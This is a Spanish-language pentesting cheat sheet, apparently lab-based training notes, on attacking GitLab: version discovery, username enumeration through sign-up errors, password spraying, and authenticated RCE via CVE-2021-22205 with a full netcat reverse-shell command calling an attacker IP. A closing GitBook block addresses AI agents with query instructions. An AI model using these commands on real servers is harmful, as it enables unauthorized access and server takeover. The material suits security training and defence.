> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/gitlab.md).

# Gitlab

## Discovery & Enumeration

**GitLab** es una plataforma web de hosting de repos Git con wikis, issue tracking y CI/CD. Open-source (Ruby, Go, Vue.js). Similar a GitHub y BitBucket.

> En pentests es común hallar **datos sensibles** en repos: scripts/configs con secretos en texto claro, contraseñas, **claves SSH privadas**, API keys. Repos pueden ser **públicos** (sin auth), **internos** (usuarios autenticados) o **privados** (usuarios específicos).

> Muchas orgs solo permiten registro con email corporativo + aprobación de admin, pero **puede estar mal configurado** y permitir que cualquiera se registre. 2FA está **deshabilitado por defecto**.

### 1. Footprinting & Discovery

Identificar GitLab: navegar a la URL → redirige al login con el logo de GitLab.

```
http://gitlab.inlanefreight.local:8081/users/sign_in
```

#### Fingerprint de versión

La **única** forma es la página `/help` **estando logueado**.

> Si podemos registrarnos → login → `/help`. Si no, y no hay otra vía de saber la versión (fecha en la página, primer commit público), **no** lanzar exploits a ciegas → mejor buscar secretos.

> Exploits serios existieron en GitLab 12.9.0, 11.4.7, y CE 13.10.3/13.9.3/13.10.2.

### 2. Enumeración

#### Proyectos públicos (/explore)

```
http://gitlab.inlanefreight.local:8081/explore
```

> Buscar proyectos públicos: pueden revelar infra de la empresa, código de producción (para code review), **credenciales hardcodeadas**, configs con secretos, claves SSH/API.

#### Registro (acceso a repos internos)

Si el registro no está restringido a emails corporativos ni requiere aprobación:

```
http://gitlab.inlanefreight.local:8081/users/sign_up
```

> Tras registrarse (`hacker:Welcome`) → login → `/explore` ahora muestra proyectos **internos** (ej. "Inlanefreight website") no visibles antes.

#### Enumeración de usuarios/emails vía el registro

| Intento                     | Error                          | Revela          |
| --------------------------- | ------------------------------ | --------------- |
| Username ya tomado (`root`) | "Username is already taken"    | Usuario válido. |
| Email ya tomado             | "Email has already been taken" | Email válido.   |
|                             |                                |                 |

> Funciona incluso con **Sign-up deshabilitado**: se puede navegar a `/users/sign_up` y enumerar (aunque no registrar). Con una lista de usuarios válidos → guessing de passwords débiles o **reuso** de credenciales de un dump (Dehashed).

### 3. Mitigaciones

| Medida                       | Objetivo                                                |
| ---------------------------- | ------------------------------------------------------- |
| **2FA** en todas las cuentas | Frena credenciales reusadas.                            |
| **Fail2Ban**                 | Bloquea intentos de login fallidos (brute-force).       |
| Restringir por **IP**        | Limita el acceso si debe estar fuera de la red interna. |

### Resumen rápido

| Paso              | Método                | Qué obtiene                         |
| ----------------- | --------------------- | ----------------------------------- |
| 1. Identificar    | Login con logo GitLab | Confirma GitLab.                    |
| 2. Versión        | `/help` (logueado)    | Versión (para exploits).            |
| 3. Repos públicos | `/explore`            | Secretos, código, claves.           |
| 4. Registro       | `/users/sign_up`      | Acceso a repos internos.            |
| 5. Enum usuarios  | Errores del registro  | Usuarios/emails válidos → spraying. |

> Lección clave: **no toda app tiene que ser directamente explotable** para ser útil. GitLab puede darte credenciales/claves de repos que uses en otros sistemas. En externos (superficie pequeña), a menudo hay que **combinar datos de 2+ fuentes** (ej. OSINT/Dehashed + enumeración de usuarios) para montar el ataque.

## Attacking

Incluso el acceso no autenticado puede filtrar datos sensibles. Con acceso de usuario válido o admin, se puede comprometer más. GitLab tiene 553+ CVEs, varios de **RCE** severos. Vías: **enumeración de usuarios** (→ spraying) y **RCE autenticado**.

### 1. Username Enumeration

GitLab **no** lo considera vulnerabilidad, pero es útil: usuarios con passwords débiles → acceso.

{% embed url="<https://github.com/dpgg101/GitLabUserEnum>" %}

```bash
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
# [+] The username root exists!
# [+] The username bob exists!
```

> Encuentra `root` (admin built-in) y `bob`. Con una lista grande → **password spraying** controlado (`Welcome1`, `Password123`) o reuso de credenciales de dumps.

#### ⚠️ Account lockout (ojo al spraying)

| Setting                                                        | Default    | Descripción                          |
| -------------------------------------------------------------- | ---------- | ------------------------------------ |
| `max_login_attempts` / `maximum_attempts`                      | **10**     | Intentos fallidos antes de bloquear. |
| `failed_login_attempts_unlock_period_in_minutes` / `unlock_in` | **10 min** | Tiempo hasta desbloqueo automático.  |

> Desde GitLab 16.6 se configuran por la admin UI (antes requería compilar de source). Si no se tocan, quedan en los defaults de arriba. Ser cuidadoso con el lockout al hacer spraying.

### 2. Authenticated RCE (CVE-2021-22205 / ExifTool)

GitLab Community Edition **≤ 13.10.2** sufre RCE autenticado por un fallo en cómo **ExifTool** maneja metadata de imágenes subidas.

> Requiere credenciales válidas. Se obtienen por OSINT/guessing, o si la versión permite **auto-registro**, creamos una cuenta y explotamos.

{% embed url="<https://www.exploit-db.com/exploits/49951>" %}

```bash
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f'
# [1] Authenticating ... Successfully Authenticated
# [2] Creating Payload
# [3] Creating Snippet and Uploading
# [+] RCE Triggered !!
```

| Flag        | Descripción                                 |
| ----------- | ------------------------------------------- |
| `-t`        | URL objetivo.                               |
| `-u` / `-p` | Credenciales válidas (autenticado).         |
| `-c`        | Comando a ejecutar (aquí un reverse shell). |

Recibir la shell:

```bash
nc -lnvp 8443
# connect... 
# id → uid=996(git) gid=997(git) groups=997(git)
```

> Shell como usuario **`git`**. Desde aquí: escalar privilegios y usar el host como foothold en la red.

### Resumen rápido

| Vía                      | Requiere                               | Resultado                                           |
| ------------------------ | -------------------------------------- | --------------------------------------------------- |
| **Username enum**        | —                                      | Usuarios válidos (`gitlab_userenum.sh`) → spraying. |
| **RCE (CVE-2021-22205)** | Credenciales válidas (o auto-registro) | Shell como `git`.                                   |

> El RCE es el premio mayor: acceso al servidor subyacente → foothold en la red. La versión **≤ 13.10.2** con ExifTool es explotable con solo una cuenta válida — y si el auto-registro está abierto, esa cuenta te la creas tú. Cuidado con el lockout (10 intentos / 10 min por defecto) al hacer spraying.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/gitlab.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
